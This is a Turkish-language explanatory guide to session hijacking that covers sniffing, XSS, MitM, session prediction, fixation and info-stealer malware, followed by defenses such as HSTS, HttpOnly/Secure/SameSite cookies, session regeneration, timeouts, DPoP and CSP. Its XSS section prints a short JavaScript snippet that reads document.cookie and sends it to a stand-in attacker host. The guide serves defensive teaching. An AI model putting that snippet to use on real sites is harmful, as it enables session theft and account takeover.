Session Hijacking Nedir, Nasıl Engellenir?
Session hijacking, geçerli oturum kimliklerinin çalınarak hesaplara yetkisiz erişilmesidir. SSL/TLS şifreleme ve HttpOnly çerezlerle engellenebilir.

İÇİNDEKİLER
%0 okundu
- Session Hijacking Nedir?
- Oturum Kimlikleri (Session ID) Neden Hedef Alınır?
- Session Hijacking Saldırı Yöntemleri ve Tehdit Vektörleri
- Session Hijacking Kurumsal Bilgi Güvenliğini ve Uyumluluğu Nasıl Tehdit Eder?
- Session Hijacking Nasıl Engellenir? (Kapsamlı Güvenlik Mimarisi)
- Proaktif Oturum Yönetimi ve Sürekli İzleme Stratejileri
Session hijacking, geçerli bir kullanıcı oturum kimliğinin (Session ID) saldırganlar tarafından ele geçirilerek sisteme yetkisiz erişim sağlanmasıdır. Web uygulamalarının durumsuz (stateless) HTTP yapısını aşmak için kullandığı oturum mekanizmaları, doğru yapılandırılmadığında kimlik hırsızlığına zemin hazırlar. Kurumsal sistemlerde bu tehdit; uçtan uca SSL/TLS şifreleme, HttpOnly/Secure çerez bayrakları, oturum kimliği yenileme ve çok faktörlü kimlik doğrulama (MFA) katmanları ile bertaraf edilir. Bu rehberde, "Session Hijacking Nedir, Nasıl Engellenir?" sorusunun teknik temellerini, saldırı vektörlerini, kurumsal risklerini ve uçtan uca savunma mimarilerini inceleyeceğiz.
Session Hijacking Nedir?
Session hijacking (oturum çalma), bir kullanıcının bir web uygulaması, API veya ağ servisi üzerindeki aktif oturumunu temsil eden benzersiz oturum belirtecinin (Session ID / Token) yetkisiz üçüncü şahıslar tarafından ele geçirilmesi ve kullanılması eylemidir. Web protokolü olan HTTP (Hypertext Transfer Protocol), doğası gereği durumsuz (stateless) bir yapıya sahiptir. Bu durum, sunucunun birbirini takip eden iki isteğin aynı kullanıcıdan gelip gelmediğini kendiliğinden anlayamaması anlamına gelir. Bu teknik sınırlamayı çözmek için web mimarileri, kullanıcı bir kez kimlik doğruladığında (kullanıcı adı, parola veya MFA ile) ona özel bir oturum anahtarı üretir ve bu anahtarı genellikle istemci tarafında bir çerez (cookie), yerel depolama (LocalStorage) veya bellek içi belirteç (in-memory token) olarak saklar.
Saldırgan geçerli bir oturum kimliğini ele geçirdiğinde, sunucu gözünde meşru kullanıcının kimliğine bürünür. Bu aşamada saldırganın kullanıcının parolasını bilmesine, parola karmaşıklığı kurallarını aşmasına veya ilk aşamadaki çok faktörlü kimlik doğrulama (MFA) adımını çözmesine gerek kalmaz. Çünkü oturum kimliği, kimlik doğrulama sürecinin başarıyla tamamlandığını kanıtlayan nihai dijital yetki belgesidir. Oturum çalma eylemi gerçekleştikten sonra saldırgan, kurbanın sahip olduğu tüm okuma, yazma, güncelleme ve silme yetkilerini kurbanın tarayıcısıymış gibi yürütür.
Oturum çalma saldırıları sadece web tarayıcıları ve web sunucuları arasında gerçekleşmez. Taşıma katmanı seviyesinde TCP oturumlarının çalınması (TCP Session Hijacking) veya kurumsal ağlarda kablosuz ağ trafiğinin manipüle edilmesi gibi ağ tabanlı varyasyonları da mevcuttur. Ancak modern uygulama mimarilerinde en yaygın ve yıkıcı olanı, uygulama katmanında (Application Layer) gerçekleşen oturum hırsızlığıdır. Bu saldırılar, kurumsal bilgi sistemlerinde veri sızıntılarına, yetkisiz finansal transferlere ve yönetim panellerinin ele geçirilmesine doğrudan zemin hazırlar.
Kurumsal ortamlarda oturum güvenliği, yazılım geliştirme yaşam döngüsünün (SDLC) en kritik parçasıdır. OWASP (Open Web Application Security Project) Application Security Verification Standard (ASVS) yönergeleri, oturum yönetiminin yalnızca kimlik doğrulama anında değil, oturumun başlangıcından sonlanmasına kadar geçen tüm yaşam döngüsü boyunca sıkı kurallarla izole edilmesini şart koşar. Dolayısıyla session hijacking, münferit bir açık değil, mimari yapılandırma hatalarının ve yetersiz girdi denetimlerinin birleşik bir sonucudur.
Oturum Kimlikleri (Session ID) Neden Hedef Alınır?
Siber saldırganların kimlik doğrulama saldırılarında öncelikli olarak oturum kimliklerini (Session ID) hedef almasının temel nedeni, bu belirteçlerin sağladığı doğrudan operasyonel avantajdır. Geleneksel kaba kuvvet (brute-force) veya parola püskürtme (password spraying) saldırıları; hesap kilitleme mekanizmaları, IP tabanlı hız sınırlamaları (rate limiting) ve modern web uygulamalarında standart hale gelen MFA katmanları nedeniyle yüksek tespit edilme riski taşır. Buna karşılık, geçerli bir oturum kimliğine sahip olmak, tüm bu savunma katmanlarını tek bir hamlede etkisiz hale getirir.
Oturum belirteçleri, sunucu nezdinde "bu kullanıcı zaten doğrulandı ve yetkilendirildi" anlamına gelen güven damgalarıdır. Bir saldırgan oturum kimliğini elde ettiğinde aşağıdaki kritik operasyonel kazanımları sağlar:
Kimlik Doğrulama Katmanlarının Baypas Edilmesi: Parola uzunluğu, karmaşıklığı veya periyodik değişim politikaları anlamsızlaşır; saldırgan parolasız giriş yapar.
MFA Korumasının Aşılması: Kullanıcının telefonuna gelen SMS, TOTP doğrulama kodu veya donanım anahtarı (FIDO2) onayı halihazırda verilmiş sayılır.
Düşük Tehdit İzi (Low Noise): Başarısız giriş denemeleri güvenlik duvarlarında (WAF) veya SIEM sistemlerinde alarm üretirken, geçerli bir Session ID ile yapılan istekler meşru trafikten ayırt edilemez.
Yetki Yükseltme Potansiyeli: Eğer çalınan oturum bir sistem yöneticisine (admin) aitse, saldırgan doğrudan en yüksek yetki seviyesinde operasyon yürütür.
+-------------------------------------------------------------------------+
| OTURUM BELİRTECİ İLE YETKİLENDİRME MODELİ |
+-------------------------------------------------------------------------+
| [İstemci / Tarayıcı] [Web Sunucusu] |
| | | |
| | --- 1. Kullanıcı Adı + Parola + MFA ------------> | |
| | | |
| | <--- 2. Doğrulama Başarılı: Set-Cookie (SID) --- | (Oturum |
| | | Başladı) |
| | | |
| | === 3. Sonraki İstekler: Cookie: SID ===========> | (Yetki Var)|
| | | |
| [Saldırgan] | |
| | | |
| | - - 4. Çalınan SID ile İstek Gönderimi - - - - -> | (Sunucu |
| | | Kabul Eder)
+-------------------------------------------------------------------------+Oturum kimlikleri genellikle rastgele üretilmiş karmaşık karakter dizileridir (örneğin 128-bit veya 256-bit entropiye sahip UUID veya kriptografik rastgele diziler). Ancak bu dizilerin istemci tarafında saklanma biçimi ve ağ üzerinden taşınma standartları zafiyet barındırıyorsa, belirtecin entropi gücü anlamsız hale gelir. Kurumsal varlıkların güvenliğinde, Session ID yönetimi en az parola saklama mimarileri (Argon2, bcrypt) kadar sıkı bir güvenlik denetimine tabi tutulmalıdır.
Session Hijacking Saldırı Yöntemleri ve Tehdit Vektörleri
Oturum çalma eylemi tek bir yöntemle sınırlı değildir. Saldırganlar ağ katmanındaki yapılandırma açıklarından, web uygulamalarındaki yazılımsal güvenlik açıklarına ve istemci cihazlara bulaşan zararlı yazılımlara kadar geniş bir yelpazede teknikler kullanır. Tehdit modellemesi yapabilmek için bu yöntemlerin iç işleyişini anlamak zorunludur.
Ağ Üzerinde Dinleme (Packet Sniffing) ve Şifrelenmemiş İletişim
Şifrelenmemiş HTTP protokolü üzerinden iletilen tüm veriler açık metin (cleartext) halindedir. İstemci ile sunucu arasındaki ağ hattında yer alan bir saldırgan, paket dinleme (packet sniffing) araçları (örneğin Wireshark, tcpdump) kullanarak ağ trafiğini analiz edebilir. Eğer oturum kimliği HTTP istek başlıklarında (Cookie: session_id=...) açık bir şekilde taşınıyorsa, saldırgan bu paketi yakalayarak oturum belirtecini kopyalar.
Bu saldırı vektörü özellikle şifrelenmemiş veya zayıf şifrelenmiş halka açık Wi-Fi ağlarında (kafeler, havalimanları, oteller) yaygındır. Ancak modern ağlarda sadece genel web sayfalarının değil, alt alan adlarının (subdomains), CDN kaynaklarının veya arka plan API çağrılarının da şifrelenmemiş HTTP üzerinden yapılması aynı riski doğurur.
Siteler Arası Betik Çalıştırma (Cross-Site Scripting - XSS) ile Çerez Çalma
Uygulama katmanında en sık karşılaşılan oturum çalma yöntemi Cross-Site Scripting (XSS) zafiyetleridir. Bir web uygulaması, kullanıcıdan gelen girdileri yeterince filtrelemeden (sanitization) veya çıktı encode etmeden (output encoding) sayfaya basarsa, saldırgan sayfaya zararlı JavaScript kodları enjekte edebilir.
Eğer oturum çerezi uygun güvenlik bayraklarıyla korunmuyorsa, enjekte edilen JavaScript kodu Document Object Model (DOM) üzerindeki document.cookie nesnesine doğrudan erişebilir. Saldırgan bu nesneyi okuyarak kendi kontrolündeki bir komuta kontrol (C2) sunucusuna aktarır:
// Güvensiz çerezlerin XSS ile dışarı sızdırılması örneği
var stolenSession = document.cookie;
var exfilUri = 'https://attacker-c2.example/log?data=' + encodeURIComponent(stolenSession);
new Image().src = exfilUri;Bu kod parçası arka planda görünmez bir piksel isteği tetikleyerek oturum kimliğini saldırgana ulaştırır. Kurban tarayıcısında hiçbir anormallik fark etmezken, oturumu saniyeler içinde kopyalanmış olur.
Ortadaki Adam (Man-in-the-Middle - MitM) ve ARP/DNS Zehirleme
Ortadaki Adam (MitM) saldırılarında saldırgan, istemci ile sunucu arasındaki iletişim kanalının kontrolünü ele geçirir. Bu durum yerel ağda ARP Zehirlemesi (ARP Poisoning), DNS Spoofing veya sahte erişim noktaları (Rogue AP / Evil Twin) oluşturularak gerçekleştirilir.
Saldırgan araya girdikten sonra trafiği kendi üzerinden geçirir. Eğer sistemde HSTS (HTTP Strict Transport Security) gibi katı taşıma güvenliği mekanizmaları uygulanmamışsa, saldırgan SSL Stripping teknikleriyle istemcinin HTTPS bağlantısını zorla düz HTTP bağlantısına indirgeyebilir. Bu sayede şifrelenmiş olması gereken oturum çerezleri saldırganın gözetleme tünelinden açıkça geçer.
Tahmin Edilebilir Oturum Kimlikleri (Session Prediction) ve Kaba Kuvvet
Bazı zayıf tasarlanmış web uygulamalarında oturum kimlikleri kriptografik olarak güvenli sözde rastgele sayı üreteçleri (CSPRNG) yerine, tahmin edilebilir algoritmalarla üretilir. Örneğin; ardışık artan ID'ler, kullanıcının kullanıcı adı ile zaman damgasının (timestamp) basit bir MD5 özeti veya tahmin edilebilir oturum sayaçları.
Saldırganlar birkaç farklı hesap açarak üretilen oturum kimlikleri arasındaki matematiksel deseni çözer. Ardından hedef kullanıcının olası oturum kimliğini tahmin ederek veya belirli bir aralıkta kaba kuvvet (brute-force) denemeleri yaparak geçerli oturumu sunucuya kabul ettirir.
Oturum Sabitleme (Session Fixation) ve Zararlı Yazılımlar (Info-Stealers)
Oturum Sabitleme (Session Fixation) saldırısında saldırgan, kurbana önceden belirlediği bir oturum kimliğini dayatır. Saldırgan hedef siteye giderek sunucudan geçerli bir Session ID alır, ardından bu ID'yi içeren özel hazırlanmış bir bağlantıyı (örneğin https://app.example.com/?session_id=SALDIRGAN_ID) kimlik avı (phishing) yoluyla kurbana gönderir.
Kurban bu bağlantıya tıklayıp aynı oturum üzerinde kendi kullanıcı adı ve parolasıyla giriş yaptığında, sunucu oturum kimliğini yenilemezse (regeneration yapmazsa), saldırganın elindeki sabit oturum kimliği kurbanın yetkileriyle doğrulanmış hale gelir. Saldırgan aynı ID ile sisteme girdiğinde kurbanın hesabını kontrol eder.
Ayrıca son yıllarda yaygınlaşan bilgi hırsızı zararlı yazılımlar (RedLine, Racoon, Vidar gibi Info-Stealer trojanları), doğrudan istemci cihazdaki Chromium ve Gecko tabanlı tarayıcıların SQLite çerez veritabanlarını (@@CODE0@@ / @@CODE1@@) hedef alarak oturum anahtarlarını toplu şekilde çalar ve satar.
Session Hijacking Kurumsal Bilgi Güvenliğini ve Uyumluluğu Nasıl Tehdit Eder?
Kurumsal ölçekte bir session hijacking vakası, tekil bir kullanıcının hesabının ele geçirilmesinin çok ötesinde sonuçlar doğurur. Kurum içi sistemlerin, ERP yazılımlarının, bulut tabanlı altyapı yönetim panellerinin (AWS, Azure, Google Cloud konsolları) ve müşteri veri tabanlarının güvenliği, oturum belirteçlerinin bütünlüğüne bağlıdır. Yetkili bir personelin oturumunun çalınması, saldırganın şirket ağı içine sızması (initial access) ve içeride yanal hareket (lateral movement) gerçekleştirmesi için ideal bir zemin sunar.
Kurumsal organizasyonların oturum güvenliği ihlalleri sonucunda karşılaştığı başlıca risk vektörleri şunlardır:
Yetkisiz Veri Erişimi ve Fikri Mülkiyet Sızıntısı: Çalınan oturum üzerinden ticari sırlar, kaynak kod depoları, müşteri kayıtları ve finansal tablolar saldırganlar tarafından dışarı sızdırılabilir (data exfiltration).
Yanal İlerleme (Lateral Movement) ve Hak Yükseltme: İhlal edilen bir çalışan hesabı, kurum içindeki diğer sistemlere erişim sağlamak için bir basamak olarak kullanılır. Saldırgan API anahtarlarını veya ek erişim yetkilerini toplayarak etki alanını genişletir.
Yasal ve Mevzuat Yaptırımları (KVKK, GDPR, HIPAA): Kişisel verilerin korunmasına ilişkin mevzuatlar, organizasyonların yeterli teknik tedbirleri almasını zorunlu kılar. Zayıf oturum yönetimi nedeniyle yaşanan bir veri ihlali, KVKK ve GDPR kapsamında milyonlarca liralık idari para cezalarına yol açar.
Sektörel Standart İhlalleri (PCI-DSS, ISO 27001): Ödeme kartı sistemlerini işleyen kurumlar için PCI-DSS 4.0 standardı, oturum kimliklerinin güvenliği, zaman aşımı süreleri ve iletim şifrelemesi konusunda katı kontroller getirir. Bir denetim başarısızlığı, ödeme alma yetkisinin askıya alınmasına neden olabilir.
İtibar Kaybı ve Müşteri Güveninin Sarsılması: Bir SaaS sağlayıcısının veya finans kuruluşunun oturum çalma zafiyetleriyle gündeme gelmesi, pazar değerini ve müşteri sadakatini doğrudan aşındırır.
+-------------------------------------------------------------------------+
| SESSION HIJACKING SONRASI TEHDİT YAYILIMI |
+-------------------------------------------------------------------------+
| [Oturum Çalındı] ---> [Hesap Ele Geçirildi] |
| | |
| +----------------------+----------------------+ |
| | | |
| v v |
| [Hassas Veri Sızıntısı] [Sistem İçi Yanal Hareket] |
| - Müşteri Kayıtları (PII) - İç API Anahtarları |
| - Finansal Veriler - Sunucu Yapılandırmaları |
| | | |
| v v |
| [Mevzuat Cezaları] [Tüm Altyapının İhlali] |
| - KVKK / GDPR Yaptırımları - Fidye Yazılımı (Ransom) |
+-------------------------------------------------------------------------+Kurumsal BT ve güvenlik liderleri, oturum güvenliğini yalnızca yazılım geliştiricilerin sorumluluğunda olan izole bir konu olarak görmemelidir. Bu süreç, Sıfır Güven (Zero Trust) mimarisinin bir parçası olarak ele alınmalı, her oturum isteği sürekli doğrulama prensibine tabi tutulmalıdır.
Session Hijacking Nasıl Engellenir? (Kapsamlı Güvenlik Mimarisi)
Oturum çalma saldırılarını engellemek, tek bir güvenlik aracının veya protokolün devreye alınmasıyla mümkün değildir. Savunma-derinliği (Defense-in-Depth) stratejisi benimsenerek; taşıma katmanından tarayıcı depolama ayarlarına, uygulama kodundan kimlik doğrulama politikalarına kadar her aşamada sıkı kontroller uygulanmalıdır.
Veri İletiminde Katı SSL/TLS ve HSTS Yapılandırması
Tüm web trafiği istisnasız olarak güncel şifreleme standartları (TLS 1.2 veya tercihen TLS 1.3) üzerinden aktarılmalıdır. Şifrelenmemiş HTTP bağlantıları tamamen devre dışı bırakılmalıdır. Ancak sadece HTTPS kullanmak yeterli değildir; istemcinin ilk bağlantı anında güvensiz protokole düşmesini engellemek için HSTS (HTTP Strict Transport Security) başlığı zorunlu kılınmalıdır:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadBu başlık, tarayıcının ilgili etki alanına ve tüm alt alan adlarına en az bir yıl boyunca yalnızca HTTPS üzerinden bağlanmasını zorunlu kılar, böylece SSL Stripping ve paket dinleme saldırılarını engeller.
Çerez Güvenlik Bayrakları: HttpOnly, Secure ve SameSite Mimarisi
Web uygulamalarında oturum kimlikleri genellikle HTTP çerezlerinde taşınır. Bir çerezin güvenliğini sağlamak için Set-Cookie başlığı tanımlanırken üç kritik bayrak (flag) mutlaka birlikte kullanılmalıdır:
HttpOnly: Bu bayrak aktif edildiğinde, istemci tarafındaki JavaScript kodlarının (
document.cookie) çerez içeriğine erişimi tarayıcı motoru tarafından engellenir. Bu sayede uygulamada bir XSS açığı bulunsa dahi, saldırgan oturum çerezini doğrudan JavaScript ile okuyamaz.Secure: Çerezin yalnızca TLS/HTTPS ile şifrelenmiş güvenli kanallar üzerinden sunucuya iletilmesini şart koşar. Düz metin HTTP isteklerinde tarayıcı bu çerezi pakete eklemez.
SameSite: Çerezin siteler arası isteklerde (Cross-Site Requests) nasıl davranacağını belirler. CSRF (Cross-Site Request Forgery) ve bazı oturum sızıntısı vektörlerini engeller. @@CODE0@@ veya @@CODE1@@ değerleri tercih edilmelidir.
Set-Cookie: session_id=e8b7c91a0f4d3e2b; Path=/; Secure; HttpOnly; SameSite=Strict; Domain=example.comOturum Kimliklerinin Yenilenmesi (Session Regeneration) ve Döngü Yönetimi
Oturum sabitleme (Session Fixation) ve oturum sızıntısı risklerine karşı en etkili yazılımsal önlem, oturum kimliğinin yaşam döngüsü boyunca kritik durumlarda yeniden üretilmesidir (regeneration).
Kullanıcı oturum açtığı anda (Login), giriş öncesi kullanılan anonim Session ID imha edilmeli ve tamamen yeni bir ID tahsis edilmelidir.
Kullanıcının yetki seviyesi değiştiğinde (örneğin standart kullanıcıdan yönetici paneline geçiş yapıldığında) ID yenilenmelidir.
Kullanıcı çıkış yaptığında (Logout), hem istemci tarafındaki çerez silinmeli hem de sunucu tarafındaki oturum kaydı (Redis, veritabanı veya bellek) kalıcı olarak geçersiz kılınmalıdır (invalidation).
Katı Oturum Zaman Aşımı (Timeout) ve Otomatik Sonlandırma Politikaları
Oturumların süresiz olarak açık kalması, saldırganın çalınan bir belirteci aylar sonra bile kullanabilmesine olanak tanır. Oturum yönetimi iki temel zaman aşımı mekanizmasıyla sınırlandırılmalıdır:
Boşta Kalma Zaman Aşımı (Idle Timeout): Kullanıcı belirli bir süre (örneğin kurumsal uygulamalarda 15-30 dakika) hiçbir işlem yapmadığında oturum otomatik olarak sonlandırılmalıdır.
Mutlak Zaman Aşımı (Absolute Timeout): Kullanıcı aktif olarak işlem yapmaya devam etse dahi, oturumun başlangıcından itibaren belirlenen maksimum süreye (örneğin 8-12 saat) ulaşıldığında oturum zorla kapatılmalı ve yeniden kimlik doğrulaması istenmelidir.
Parmak İzi Doğrulama (Fingerprinting): IP ve User-Agent Kontrolü
Sunucu, gelen her oturum isteğinde oturum kimliğinin yanı sıra istemcinin bağlamsal özelliklerini de doğrulamalıdır. Kullanıcının IP adresi bloğu, @@CODE0@@ başlığı, kabul edilen dil parametreleri (@@CODE1@@) gibi istemci özellikleri oturumun başlangıcında kriptografik bir özet (hash) haline getirilerek sunucu tarafında saklanabilir.
Oturum devam ederken bu parametrelerde olağandışı bir sapma tespit edilirse (örneğin oturum İstanbul IP'sinden açılmışken 2 dakika sonra farklı bir ülkeye ait IP üzerinden aynı Session ID ile istek gelmesi veya User-Agent'ın aniden değişmesi), sunucu oturumu derhal askıya almalı ve kullanıcıyı yeniden MFA doğrulamasına yönlendirmelidir.
Kimlik Doğrulama Katmanında Çok Faktörlü Kimlik Doğrulama (MFA) ve FIDO2/WebAuthn
Geleneksel MFA mekanizmaları ilk giriş anını korurken, yeni nesil WebAuthn/FIDO2 standartları ve Token Bağlama (Token Binding) yaklaşımları oturum anahtarını doğrudan istemci cihazın donanımsal güvenlik çipine (TPM / Secure Enclave) bağlar. Bu tür mimarilerde oturum belirteci yazılımsal olarak kopyalansa bile, saldırganın cihazında donanım imzası bulunmadığından sunucu isteği reddeder.
Proaktif Oturum Yönetimi ve Sürekli İzleme Stratejileri
Kurumsal güvenlik mimarisinde koruma katmanları inşa edildikten sonra, oturumların çalışma zamanındaki (runtime) davranışlarının sürekli izlenmesi gerekir. Sıfır Güven (Zero Trust) felsefesi, "bir kez doğrulandı, sonsuza kadar güvenilirdir" anlayışını reddeder. Bunun yerine, oturum süresince her işlemin risk skoru dinamik olarak hesaplanmalıdır.
Modern kurumsal ortamlarda uygulanması gereken proaktif izleme yaklaşımları şunları içerir:
Merkezi Oturum Depoları ve Bellek İçi Yönetim: Oturum durumları dağınık web sunucularının yerel belleğinde değil, Redis veya Memcached gibi yüksek performanslı ve merkezi bellek içi veri tabanlarında tutulmalıdır. Bu yapı, şüpheli bir aktivite sezildiğinde ilgili kullanıcının tüm açık oturumlarının tek bir API çağrısıyla küresel düzeyde anında sonlandırılabilmesini (global session revocation) sağlar.
Kullanıcı ve Varlık Davranış Analitiği (UEBA): SIEM (Security Information and Event Management) sistemlerine entegre edilen UEBA modülleri, bir kullanıcının tipik oturum alışkanlıklarını öğrenir. Örneğin, mesai saatleri dışında yapılan olağandışı veri indirme talepleri veya kısa sürede coğrafi olarak imkansız yer değiştirmeler (Impossible Travel) anında alarm üretir ve oturumu otomatik olarak kilitler.
DPoP (Demonstrating Proof-of-Possession) ve Token Binding: OAuth 2.0 ve OpenID Connect kullanan modern API mimarilerinde Bearer token'ların çalınma riskine karşı RFC 9449 standardı olan DPoP uygulanmalıdır. DPoP, istemcinin her istekte özel bir asimetrik anahtarla imzalanmış başlık göndermesini şart koşar; bu sayede token çalınsa bile saldırganın elinde özel anahtar (private key) olmadığı için token geçersiz kalır.
İstemci Tarafı Bütünlük Kontrolleri (Subresource Integrity - SRI ve CSP): XSS kaynaklı oturum çerezlerinin sızdırılmasını engellemek için katı bir İçerik Güvenlik Politikası (Content Security Policy - CSP) uygulanmalıdır. CSP, sayfada harici güvenilmeyen alan adlarından script çalıştırılmasını veya verilerin yetkisiz alan adlarına gönderilmesini tarayıcı seviyesinde bloke eder.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none';Bu tür çok boyutlu izleme ve engelleme mekanizmaları, olası bir oturum sızıntısının sisteme kalıcı zarar vermeden saniyeler içinde etkisiz hale getirilmesini temin eder.
Sıkça Sorulan Sorular
Session hijacking ile cookie hijacking arasındaki temel fark nedir?
Cookie hijacking, tarayıcıda saklanan çerezlerin doğrudan kopyalanmasıdır ve session hijacking gerçekleştirmek için kullanılan yöntemlerden biridir. Session hijacking ise ağ dinleme, oturum sabitleme veya tahmin gibi farklı yollarla da yapılabilen daha geniş kapsamlı oturum ele geçirme eylemidir.
HTTPS kullanmak session hijacking saldırılarını tamamen engeller mi?
HTTPS veri iletimini şifreleyerek ağ dinleme ve paket gözetleme saldırılarını engeller ancak tek başına yeterli değildir. Uygulamada XSS açığı varsa veya çerezlerde HttpOnly bayrağı eksikse, saldırgan şifreli oturum belirtecini istemci tarafında ele geçirebilir.
HttpOnly bayrağı oturum güvenliğinde ne işe yarar?
HttpOnly bayrağı, tarayıcının ilgili çerezi JavaScript ve DOM erişimine kapatmasını sağlar. Bu sayede web uygulamasında bir XSS zafiyeti oluşsa bile zararlı kodlar oturum çerezini okuyamaz ve dışarı sızdıramaz.
Oturum sabitleme (Session Fixation) saldırısı nasıl önlenir?
Oturum sabitlemeyi önlemenin kesin yolu, kullanıcının sisteme başarıyla giriş yaptığı (login) anda sunucunun mevcut Session ID değerini imha edip yepyeni bir oturum kimliği üretmesidir (session regeneration).
Çalınan bir oturum kimliği nasıl geçersiz kılınır?
Kullanıcı çıkış yaptığında veya şüpheli hareket sezildiğinde, sunucu tarafındaki oturum kaydı (örneğin Redis veya veritabanı oturum tablosu) silinmeli ve tüm aktif belirteçler anında geçersiz (revoked) ilan edilmelidir.
MFA (Çok Faktörlü Kimlik Doğrulama) session hijacking saldırısını durdurabilir mi?
MFA ilk giriş anını korur; ancak kullanıcı doğrulandıktan sonra üretilen Session ID çalınırsa saldırgan MFA adımını atlamış olur. Bu riski önlemek için FIDO2/WebAuthn gibi donanıma bağlı token bağlama ve sürekli anomali izleme protokolleri gereklidir.
İstemci tarafında oturum belirteçleri nerede saklanmalıdır?
Oturum belirteçleri asla LocalStorage veya SessionStorage içinde saklanmamalıdır; çünkü bu alanlar XSS saldırılarına karşı korumasızdır. En güvenli yöntem, HttpOnly, Secure ve SameSite bayrakları tanımlanmış HTTP çerezleridir.
Bir kullanıcının oturumunun çalındığı nasıl tespit edilir?
Aynı oturum kimliğiyle farklı coğrafi konumlardan (Impossible Travel), farklı IP bloklarından veya değişen User-Agent bilgilerinden eşzamanlı istekler gelmesi durumunda anomali tespit sistemleri ihlali belirler.